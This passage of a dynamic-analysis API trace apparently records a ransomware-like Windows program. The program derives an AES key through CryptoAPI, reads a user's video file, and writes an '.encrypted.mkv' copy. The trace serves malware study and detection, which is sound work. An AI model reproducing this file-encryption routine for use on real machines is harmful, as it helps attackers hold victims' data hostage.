(in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.197] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.197] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.197] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.197] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.197] CryptCreateHash (in: hProv=0xe8f4199930, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.198] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.198] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.198] CryptDeriveKey (in: hProv=0xe8f4199930, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.198] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.199] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0029.199] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.200] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\4_fiu1ihmr5kifysz.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.200] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.200] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z")) returned 0x10 [0029.201] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\4_fiu1ihmr5kifysz.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.203] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.203] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x36c8, lpOverlapped=0x0) returned 1 [0029.204] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.205] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.205] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.205] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.205] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.206] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.206] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.206] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.206] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.206] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.207] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.207] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.207] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.207] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.207] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.208] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.208] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.208] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x36c8, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x36d0) returned 1 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.208] CharLowerBuffW (in: lpsz="byte[14033]", cchLength=0xb | out: lpsz="byte[14033]") returned 0xb [0029.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.209] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.209] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437d700*, pdwDataLen=0xe8f3dfdf68*=0x36c8, dwBufLen=0x36d0 | out: pbData=0xe8f437d700*, pdwDataLen=0xe8f3dfdf68*=0x36d0) returned 1 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.209] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.209] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.209] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.210] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.210] 